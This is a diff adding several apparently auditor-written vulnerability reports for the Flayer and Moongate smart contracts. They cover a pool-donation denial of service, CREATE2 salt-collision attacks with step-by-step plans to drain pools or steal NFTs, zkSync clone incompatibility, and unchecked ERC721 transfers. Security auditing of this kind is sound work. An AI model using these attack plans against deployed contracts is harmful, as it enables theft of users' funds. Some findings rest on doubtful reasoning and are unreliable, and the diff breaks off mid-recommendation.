+Sharp Blonde Camel
+
+Medium
+
+# The `setTokenURIAndMintFromRiftAbove` function updates the token URI but does not emit the required URI event
+
+### Summary
+
+The team requested to verify that the `ERC721Bridgable` is strictly compliant with [EIP-721](https://eips.ethereum.org/EIPS/eip-721) and [EIP-2981](https://eips.ethereum.org/EIPS/eip-2981). According to the EIP-1155 standard, whenever the URI for a token ID changes, a `URI` event MUST be emitted:
+```solidity
+ /**
+ @dev MUST emit when the URI is updated for a token ID.
+ URIs are defined in RFC 3986.
+ The URI MUST point to a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
+ */
+ event URI(string _value, uint256 indexed _id);
+```
+
+### Root Cause
+
+In [`ERC721Bridgable.sol#L119`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L119) and [`ERC1155Bridgable.sol#L92`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L92) the event URI is not emitted.
+
+```solidity
+ function setTokenURIAndMintFromRiftAbove(uint _id, uint _amount, string memory _uri, address _recipient) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // Set our tokenURI
+ uriForToken[_id] = _uri;
+
+ // Mint the token to the specified recipient
+ _mint(_recipient, _id, _amount, '');
+ }
+```
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The `setTokenURIAndMintFromRiftAbove` function is not strictly compliant with [EIP-1155](https://eips.ethereum.org/EIPS/eip-1155) as requested by the team.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Emit the `URI` event same as [OZ](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/extensions/ERC1155URIStorage.sol#L52).
\ No newline at end of file
diff --git a/028/209.md b/028/209.md
new file mode 100644
index 0000000..6d0daa6
--- /dev/null
+++ b/028/209.md
@@ -0,0 +1,47 @@
+Flaky Sable Hamster
+
+Medium
+
+# `collectionLiquidationComplete()` can be DoS by directly transferring a collection NFT to the `sweeperPool`
+
+## Summary
+`collectionLiquidationComplete()` can be DoS by directly transferring a collection NFT to the `sweeperPool`
+
+## Vulnerability Detail
+When a user claim their ETH using claim(), it calls `collectionLiquidationComplete()` to check if all the NFT are liquidated in sudoswap pool or not.
+```solidity
+function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+...
+ // Ensure that all NFTs have sold from our Sudoswap pool
+@> if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+...
+ }
+```
+```solidity
+function collectionLiquidationComplete(address _collection) public view returns (bool) {
+...
+ // Check that all token IDs have been bought from the pool
+ for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ // If the pool still owns the NFT, then we have to revert as not all tokens have been sold
+@> if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false;
+ }
+ }
+
+ return true;
+ }
+```
+To check all NFTs are liquidated or not, it calls `ownerOf()`. Now the problem is a malicious user can buy a NFT of that collection and directly `transfer` it to the `Pool` address. As result, the above check will return `false`, which will revert the `claim()` ie permanently DoS the claim()
+
+## Impact
+Claim() can be permanently DoS ie users will not be able to claim their ETH
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L295
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L461C1-L464C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Don't use ownerOf() as checking if all NFTs are liquidated or not, instead use any internal mechanism/ counting
\ No newline at end of file
diff --git a/028/323.md b/028/323.md
new file mode 100644
index 0000000..57d5760
--- /dev/null
+++ b/028/323.md
@@ -0,0 +1,59 @@
+Amateur Cornflower Fish
+
+High
+
+# Attacker can prevent users from claiming sale proceeds after collection shutdown
+
+## Summary
+A malicious attacker can prevent users from claiming sale proceeds from a collection shutdown due to a flawed ownership check. Moreover, it leaves the sale proceeds irretrievably stuck in the `CollectionShutdown` contract.
+## Vulnerability Detail
+Once a collection shutdown is executed, the NFTs are [sent into a Sudoswap pool](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L263) to be sold. The sale proceeds are then [claimed by users](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L285-L315) which voted for the shutdown, based on their share:
+
+```solidity
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+```
+
+But before users can claim, all NFTs must be sold from the sudoswap pool:
+
+```solidity
+ // Ensure that all NFTs have sold from our Sudoswap pool
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+```
+
+If we take a look at the check in [more detail](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L445-L467) we can see that it checks if the pool contract is the owner of each NFT:
+
+```solidity
+ // Check that all token IDs have been bought from the pool
+ for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ // If the pool still owns the NFT, then we have to revert as not all tokens have been sold
+ if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false;
+ }
+ }
+```
+
+The pool uses a price model which decays from 500e18 per NFT to 0 over a few days. The issue is that a malicious attacker can buy up the last NFT (at an affordable price) and then transfer (donate) it to the pool contract (can be bundled tx). Whenever someone tries to claim their share of the proceeds, the `ownerOf` the token ID will still return the pool contract. Since it will now be donated and not deposited in the pool, it will not be able to be re-sold and `collectionLiquidationComplete` check will always return false.
+
+1. Cost of attack is low for close to all collections on Base
+2. All sale proceeds stuck in `CollectionShutdown` contract
+
+Due to these impacts of stuck funds and griefing, I believe high severity is warranted.
+## Impact
+All sale proceeds are stuck so loss of funds for users.
+## Code Snippet
+```solidity
+ // Check that all token IDs have been bought from the pool
+ for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ // If the pool still owns the NFT, then we have to revert as not all tokens have been sold
+ if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false;
+ }
+ }
+```
+## Tool used
+Manual Review
+## Recommendation
+Re-factor code and find another way to count if all tokens have sold.
\ No newline at end of file
diff --git a/028/480.md b/028/480.md
new file mode 100644
index 0000000..8fd57a8
--- /dev/null
+++ b/028/480.md
@@ -0,0 +1,37 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `CollectionShutdown:claim()` can be DoS due to use of ownerOf()
+
+## Summary
+`CollectionShutdown:claim()` can be DoS due to use of ownerOf()
+
+## Vulnerability Detail
+Before users start to claim their ETH, all the NFTs must be liquidated in sudoswap. And to ensure that it calls `collectionLiquidationComplete()`, which checks the ownerOf() the tokenId & if owner is pool then it reverts.
+```solidity
+function collectionLiquidationComplete(address _collection) public view returns (bool) {
+//
+ // Check that all token IDs have been bought from the pool
+ for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ // If the pool still owns the NFT, then we have to revert as not all tokens have been sold
+> if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false;
+ }
+//
+ }
+```
+A Malicious user can buy a NFT & directly send it to the sudoswap pool, which will always return false and transaction will revert.
+
+## Impact
+Users will never be able to claim their ETH
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L459C9-L465C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L295
+
+## Tool used
+Manual Review
+
+## Recommendation
+Use any internal mechanism to ensure if all tokens are liquidated or not
\ No newline at end of file
diff --git a/029/233.md b/029/233.md
new file mode 100644
index 0000000..7ccf0c7
--- /dev/null
+++ b/029/233.md
@@ -0,0 +1,74 @@
+Tiny Quartz Wombat
+
+Medium
+
+# Front-running griefing attack on NFT cross-chain bridging
+
+## Summary
+The `InfernalRiftBelow::thresholdCross()` function uses `Clones.cloneDeterministic` to deploy new L2 collection contracts based on the L1 collection address. The `salt` used for deterministic address generation is solely based on the L1 collection address (`bytes32(bytes20(l1CollectionAddress))`).
+
+## Vulnerability Detail
+The `Clones.cloneDeterministic` function is invoked with a predictable `salt`, which is derived directly from the L1 collection address. Since the `salt` is not unique beyond the collection address, it is possible for an attacker to pre-calculate the L2 contract address for any L1 collection.
+
+Even though the function is guarded by the `expectedAliasedSender` check to ensure only trusted calls from the `InfernalRiftAbove` contract can deploy these clones, the predictable nature of the `salt` allows for potential address pre-calculation. Attackers could monitor transactions and front-run operations or exploit the system once the contract is deployed by being the first to interact with it.
+
+
+## Impact
+A malicious actor can front-run every call to `create` and use the same `salt` argument. This will result in reverts of all user transactions, as there is already a contract at the address that `create2` tries to deploy to.
+
+Predictable contract addresses generated from a static `salt` enable attackers to anticipate where the contract will be deployed, giving them the opportunity to front-run the contract or exploit it before legitimate users.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L234-L270
+
+On line 242 we can see that the `salt` used for `create2` is simply the collection address:
+
+```javascript
+[moongate/src/InfernalRiftBelow.sol]
+234 function _thresholdCross721(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+235 ERC721Bridgable l2Collection721;
+236
+237 address l1CollectionAddress = package.collectionAddress;
+238 l2CollectionAddress = l2AddressForL1Collection(l1CollectionAddress, false);
+239
+240 // If not yet deployed, deploy the L2 collection and set name/symbol/royalty
+241 if (!isDeployedOnL2(l1CollectionAddress, false)) {
+242 --> Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+243
+244 // Check if we have an ERC721 or an ERC1155
+245 l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+246 l2Collection721.initialize(package.name, package.symbol, package.royaltyBps, package.chainId, l1CollectionAddress);
+247
+ . . .
+```
+`Clones::cloneDeterministic()` using the `salt` on line 53:
+
+```javascript
+[moongate/lib/openzeppelin-contracts/contracts/proxy/Clones.sol]
+45 function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
+46 /// @solidity memory-safe-assembly
+47 assembly {
+48 // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes
+49 // of the `implementation` address with the bytecode before the address.
+50 mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))
+51 // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.
+52 mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))
+53 --> instance := create2(0, 0x09, 0x37, salt)
+54 }
+55 require(instance != address(0), "ERC1167: create2 failed");
+56 }
+```
+## Tool used
+Manual Review
+
+## Recommendation
+Use a `nonce`, `block.timestamp` or unique identifier in addition to the L1 collection address when generating the `salt`. This will ensure that the deployed contract addresses are less predictable and more resistant to front-running attacks.
+
+An example improvement would be to add a block number, timestamp, or a random nonce to the salt:
+
+```diff
++ bytes32 salt = keccak256(abi.encodePacked(l1CollectionAddress, block.timestamp));
++ Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, salt);
+- Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+```
\ No newline at end of file
diff --git a/029/652.md b/029/652.md
new file mode 100644
index 0000000..203d24b
--- /dev/null
+++ b/029/652.md
@@ -0,0 +1,104 @@
+Fancy Emerald Lark
+
+Medium
+
+# Collison attack on `l2CollectionAddress`
+
+## Summary
+The L2 collection address for a BAYC on L1 can be predicted because of weak salt usage. So, before the creation of L2 collection address, the attacker can deploy a malicious contract and change the state to his favor (like allowance, mints, owner of IDs) and then self-destruct it. After that wait till someone locks up their BAYC on Rift above on L1, and then backrun on the next block to unlock it by calling `returnFromThreshold` on Rift below on L2.
+
+The [previous issues](https://github.com/sherlock-audit/2023-12-arcadia-judging/issues/59) with similar bug had more harder way to collide because salt is chosen from input param, so they had to brute force. But here, the salt is L1 collection address. So salt to all famous NFT collections are the collection addresses itself.
+
+Go look at the latest issues with similar weak salt issues. [scroll below the comment and go to the bottom](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90#issuecomment-1767797993)
+
+## Vulnerability Detail
+
+**Likelihood :**
+The feasibility, as well as detailed technique and hardware requirements of finding a collision, are sufficiently described in multiple references:
+
+[1](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90): A past issue on Sherlock describing this attack.
+[2](https://eips.ethereum.org/EIPS/eip-3607): EIP-3607, which rationale is this exact attack. The EIP is in final state.
+
+The hashrate of the BTC network has reached 6 × 10 ** 20 hashes per second as of time of writing, taking only just 33 minutes to achieve 2^80 hashes. A fraction of this computing power will still easily find a collision in a reasonably short timeline.
+
+**Issue flow :**
+1. since on L1 we all know the BAYC collection address, so `_l1CollectionAddress` is known to all, which is used as a salt to deploy the L2 collection address using create 2 clone library.
+2. So fuzz or use your compulaton power to deploy a bot contract on the same address L2 BAYC collection going to be created, and change the state that can extract maximum value and self-destruct the contract deployed there.
+3. Then officially call `thresholdCross` from l1, to deploy the collection genuinely. The maximum extraction that can be done is, for example, to mint token 6800 to the attacker and so that he can lock it in L2 and release it on l1. Or choose to change the state in a way mint all the tokens from 8000 tpo 10k on his address as owner.
+4. Then as soon as your 9999 is locked in L1 by a victim, this attacker can lock his 9999 on L2 (that he got by changing the slot by deploying a malicious BAYC contract due to weak salt and create2 usage). He can lock in L2 and release it on L1.
+
+So, by the end, he got a BAYC 9999 on l1, by manipulating the storage of BAYC collection on l2.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L77-L82
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L242-L280
+
+```solidity
+
+InfernalRiftBelow.sol
+
+80: function l2AddressForL1Collection(address _l1CollectionAddress, bool _is1155) public view returns (address l2CollectionAddress_) {
+81: >>> l2CollectionAddress_ = Clones.predictDeterministicAddress(
+82: _is1155 ? ERC1155_BRIDGABLE_IMPLEMENTATION : ERC721_BRIDGABLE_IMPLEMENTATION,
+83: bytes32(bytes20(_l1CollectionAddress))
+84: );
+85: }
+
+
+138: function thresholdCross(Package[] calldata packages, address recipient) external {
+ ---- SNIP ----
+152: for (uint i; i < numPackages; ++i) {
+153: Package memory package = packages[i];
+154:
+155: address l2CollectionAddress;
+156: if (package.amounts[0] == 0) {
+157: >>> l2CollectionAddress = _thresholdCross721(package, recipient);
+158: } else {
+159: l2CollectionAddress = _thresholdCross1155(package, recipient);
+160: }
+ ---- SNIP ----
+163: }
+164: }
+
+167: function _thresholdCross721(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+168: ERC721Bridgable l2Collection721;
+169:
+170: address l1CollectionAddress = package.collectionAddress;
+171: >>> l2CollectionAddress = l2AddressForL1Collection(l1CollectionAddress, false);
+172:
+173: // If not yet deployed, deploy the L2 collection and set name/symbol/royalty
+174: if (!isDeployedOnL2(l1CollectionAddress, false)) {
+175: >>> Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+176:
+177: // Check if we have an ERC721 or an ERC1155
+178: >>> l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+179: l2Collection721.initialize(package.name, package.symbol, package.royaltyBps, package.chainId, l1CollectionAddress);
+180:
+181: // Set the reverse mapping
+182: l1AddressForL2Collection[l2CollectionAddress] = l1CollectionAddress;
+183: }
+184: // Otherwise, our collection already exists and we can reference it directly
+185: else {
+186: l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+187: }
+ ---- SNIP ----
+203: }
+
+```
+
+
+## Impact
+Loss of funds (high value NFTs). So high impact and the likelihood is medium (only computation power is needed). So, Medium severity
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L77-L82
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L242-L280
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Implement salt by hashing the encoded values like, block time, block number, user-supplied custom salt, also the L1 collection address and also the gas left() for more randomness. Or deploy with create1 instead of create2.
diff --git a/029/699.md b/029/699.md
new file mode 100644
index 0000000..7958efc
--- /dev/null
+++ b/029/699.md
@@ -0,0 +1,74 @@
+Fancy Emerald Lark
+
+Medium
+
+# Collection token address is prone to collision abuse
+
+## Summary
+
+An attacker can mint infinite tokens even before the collection token deployment. And wait till pool initialization with liquidity to drain that pool.
+
+Go look at the latest issues with similar weak salt issues. [scroll below the comment and go to the bottom](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90#issuecomment-1767797993)
+
+## Vulnerability Detail
+
+**Likelihood :**
+The feasibility, as well as detailed technique and hardware requirements of finding a collision, are sufficiently described in multiple references:
+
+[1](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90): A past issue on Sherlock describing this attack.
+[2](https://eips.ethereum.org/EIPS/eip-3607): EIP-3607, which rationale is this exact attack. The EIP is in final state.
+
+The hashrate of the BTC network has reached 6 × 10 ** 20 hashes per second as of time of writing, taking only just 33 minutes to achieve 2^80 hashes. A fraction of this computing power will still easily find a collision in a reasonably short timeline.
+
+**Issue flow:**
+
+1. Since we know the slot already (count of listings created), the attacker even before the BAYC collection token creation will try to predict the deployment address of collection token for BAYC collection
+2. Once address is targetted (for example contract address 0xCC), he will deploy a malicious contract into 0xCC and change the storage of token balance slots to his favor and destroy the deployed malicious contract on 0xCC
+3. then create a listing on the next line for BAYC.
+4. seeing this, someone with 10 BAYC will initialize the collection. And provide liquidity to the uni V4 pool
+5. Since the balance of collection tokens is already manipulated by user, he will swap all the collection tokens for WETH and drain the pools.
+
+
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L311-L314
+
+```solidity
+Locker.sol
+
+278: function createCollection(address _collection, string calldata _name, string calldata _symbol, uint _denomination) public whenNotPaused returns (address) {
+ ---- SNIP ----
+282: // Ensure the collection does not already have a listing token
+283: if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();
+ ---- SNIP ----
+288: // Deploy our new ERC20 token using Clone. We use the impending ID
+289: // to clone in a deterministic fashion.
+290: ICollectionToken collectionToken_ = ICollectionToken(
+291: >>> LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
+292: );
+293: _collectionToken[_collection] = collectionToken_;
+294:
+295: // Initialise the token with variables
+296: collectionToken_.initialize(_name, _symbol, _denomination);
+ ---- SNIP ----
+
+309: }
+
+```
+
+
+## Impact
+Loss of funds in the uniV4 pool. And having huge computation power is below medium likelihood. So giving it a medium severity.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L311-L314
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Implement salt by hashing the encoded values like, block time, block number, user-supplied custom salt, also the L1 collection address and also the gas left() for more randomness. Or deploy with create1 instead of create2.
+
+
diff --git a/030/399.md b/030/399.md
new file mode 100644
index 0000000..b1ab9a4
--- /dev/null
+++ b/030/399.md
@@ -0,0 +1,39 @@
+Powerful Smoke Shell
+
+Medium
+
+# Create2 Opcode works differently in zkSync
+
+## Summary
+`zkSync Era` chain has differences in the usage of the `create` / `create2` opcode compared to the EVM.
+
+## Vulnerability Detail
+The project doesn't explicitly mention that they are compatible in zkSync but since they have mentioned they are compatible in any EVM for `Moongate`, so thought of mentioning this.
+
+The description of CREATE and CREATE2 () states that Create cannot be used for arbitrary code unknown to the compiler.
+
+` _thresholdCross721` function uses OZ's `Clones:cloneDeterministic` function: for creation of a `ERC721_BRIDGABLE_IMPLEMENTATION` contract with a specific initialization data, if it is not initialized or deployed before hand .
+One can check this lines for more information ::
+```
+ if (!isDeployedOnL2(l1CollectionAddress, true)) {
+ Clones.cloneDeterministic(ERC1155_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+
+ // Check if we have an ERC721 or an ERC1155
+ l2Collection1155 = ERC1155Bridgable(l2CollectionAddress);
+ l2Collection1155.initialize(package.royaltyBps, package.chainId, l1CollectionAddress);
+````
+
+As mentioned by the zkSync docs: "The code will not function correctly because the compiler is not aware of the bytecode beforehand".
+
+## Impact
+Simply fail while deploying to zkSYnc
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L280
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L242
+
+## Tool used
+Manual Review
+
+## Recommendation
+Try using `create2` opcode directly or the other possible ways as mentioned in the zk sync docs
diff --git a/030/452.md b/030/452.md
new file mode 100644
index 0000000..5bc3c7e
--- /dev/null
+++ b/030/452.md
@@ -0,0 +1,51 @@
+Flaky Taupe Platypus
+
+High
+
+# ZkSync Era deployment Issues with Clones and CREATE2.
+
+## Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L242
+
+The function _thresholdCross721 deploys an ERC721 collection on zkSync if it hasn't been deployed yet. It then transfers tokens to a specified recipient.
+The function uses `Clones.cloneDeterministic` to deploy the implementation, which will be fail on zkSync due to differences in EVM bytecode and zkEVM bytecode.
+
+## Vulnerability Detail
+The key issue here is the incompatibility between EIP-1167’s bytecode (used by the Clones.cloneDeterministic function) and the bytecode format expected by zkSync’s zkEVM. This incompatibility can cause unexpected reverts or deployment failures when interacting with zkSync.
+
+EIP-1167 in the context of the system is used to deploy ERC721Bridgable using CREATE2 opcode.
+```solidity
+function _thresholdCross721(Package memory package, address recipient) internal returns(address l2CollectionAddress) {
+ //...
+ if (!isDeployedOnL2(l1CollectionAddress, false)) {
+@>>> Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+ //...
+ }
+ //...
+}
+
+function cloneDeterministic(address implementation, bytes32 salt) internal returns(address instance) {
+ /// @solidity memory-safe-assembly
+ assembly {
+ // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes
+ // of the `implementation` address with the bytecode before the address.
+ mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))
+ // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.
+ mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))
+@>>> instance := create2(0, 0x09, 0x37, salt)
+ }
+
+ require(instance != address(0), "ERC1167: create2 failed");
+}
+
+```
+
+However, [as mentioned here by the zkSync Community Hub](https://github.com/zkSync-Community-Hub/zksync-developers/discussions/91#discussioncomment-7099927) the reason why this is currently not supported is because EIP-1167 is written directly in EVM bytecode, which is quite different from the bytecode that zkEVM operates on.
+
+## Impact
+The function will fail to deploy/Clone the collection on zkSync.
+
+## Recommendation
+this issue can be solved by using create2:
+https://docs.zksync.io/build/developer-reference/ethereum-differences/evm-instructions#create-create2
diff --git a/030/612.md b/030/612.md
new file mode 100644
index 0000000..0725f3d
--- /dev/null
+++ b/030/612.md
@@ -0,0 +1,73 @@
+Flaky Sable Hamster
+
+Medium
+
+# `ERC721Bridgable` & `ERC1155Bridgable` won't deploy on zkSync chain correctly
+
+## Summary
+`ERC721Bridgable` & `ERC1155Bridgable` won't deploy on zkSync chain correctly
+
+## Vulnerability Detail
+User can send ERC721 & ERC1155 tokens from L1 to L2 using `crossTheThreshold()/ crossTheThreshold1155()`. This deploys a `ERC721Bridgable & ERC1155Bridgable` contract in InfernalRiftBelow.sol using `Clone` library of openzeppelin
+```solidity
+function _thresholdCross721(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+...
+ // If not yet deployed, deploy the L2 collection and set name/symbol/royalty
+ if (!isDeployedOnL2(l1CollectionAddress, false)) {
+@> Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+...
+ }
+```
+```solidity
+ function _thresholdCross1155(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+...
+ // If not yet deployed, deploy the L2 collection and set name/symbol/royalty
+ if (!isDeployedOnL2(l1CollectionAddress, true)) {
+@> Clones.cloneDeterministic(ERC1155_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+...
+ }
+```
+
+Now, readme of the contest states that Moongate will be deployed on Mainnet & any EVM compatible L2 chain
+
+> On what chains are the smart contracts going to be deployed?
+>
+> Moongate
+> Ethereum mainnet and any number of EVM-compatible L2 chains.
+
+Now, the problem is, openzeppelin's Clone.sol will not work correctly on the zkSync chain. This is because, for the `create/create2` opcodes to function correctly on the zkSync chain, the compiler must be aware of the bytecode of the deployed contract in advance.
+
+Quoting from [ZKsync docs](https://docs.zksync.io/build/developer-reference/ethereum-differences/evm-instructions) :
+
+"On ZKsync Era, contract deployment is performed using the hash of the bytecode, and the factoryDeps field of EIP712 transactions contains the bytecode. The actual deployment occurs by providing the contract's hash to the ContractDeployer system contract.
+To guarantee that create/create2 functions operate correctly, the compiler must be aware of the bytecode of the deployed contract in advance. The compiler interprets the calldata arguments as incomplete input for ContractDeployer, as the remaining part is filled in by the compiler internally. The Yul datasize and dataoffset instructions have been adjusted to return the constant size and bytecode hash rather than the bytecode itself."
+
+This is `Clone:cloneDeterministic()`, we can see it uses `create2`
+```solidity
+ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
+ /// @solidity memory-safe-assembly
+ assembly {
+ // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes
+ // of the `implementation` address with the bytecode before the address.
+ mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))
+ // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.
+ mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))
+@> instance := create2(0, 0x09, 0x37, salt)
+ }
+ require(instance != address(0), "ERC1167: create2 failed");
+ }
+```
+## Impact
+Deployments will not work/ deploy faulty contracts on the ZKsync chain.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L279C8-L281C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L240C8-L243C1
+https://github.com/OpenZeppelin/openzeppelin-contracts/blob/dc44c9f1a4c3b10af99492eed84f83ed244203f6/contracts/proxy/Clones.sol#L45C4-L56C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Make sure the compiler is aware of the bytecode beforehand.
+This can be solved by implementing CREATE2 directly as mentioned in the zkSync Era docs.
\ No newline at end of file
diff --git a/031.md b/031.md
new file mode 100644
index 0000000..39907a4
--- /dev/null
+++ b/031.md
@@ -0,0 +1,78 @@
+Small Azure Poodle
+
+High
+
+# Inadequate Validation of ERC721 Token Transfers in Redemption Process
+
+## Summary
+The contract does not validate the successful transfer of ERC721 tokens during the redemption process. Which allows users to redeem ERC721 tokens without burning ERC20 tokens.
+
+## Vulnerability Detail
+The `redeem` function transfers ERC721 tokens from the contract to the user using the `transferFrom` method. However, the function does not check whether the `transferFrom` call was successful. If the transfer fails, the function continues execution, assuming the transfer was successful. This can be exploited if a user intentionally or unintentionally causes a transfer to fail, allowing them to retain their ERC20 tokens while still redeeming the ERC721 tokens.
+```solidity
+209: function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+210: uint tokenIdsLength = _tokenIds.length;
+211: if (tokenIdsLength == 0) revert NoTokenIds();
+212:
+---
+214: ICollectionToken collectionToken_ = _collectionToken[_collection];
+215: collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+216:
+---
+218: IERC721 collection = IERC721(_collection);
+219:
+---
+221:@=> for (uint i; i < tokenIdsLength; ++i) {
+222: // Ensure that the token requested is not a listing
+---
+223: if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+224:
+---
+226:@=> collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+227: }
+228:
+229: emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+230: }
+```
+
+## Impact
+Users can redeem ERC721 tokens without burning the equivalent ERC20 tokens.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209-L230
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+- After `transferFrom`, ensure that the ERC721 token is transferred to `_recipient` by verifying ownership.
+- If the transfer fails, `require` aborts the transaction with the message "Transfer failed", to ensure that only successful transfers are valid.
+```diff
+function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
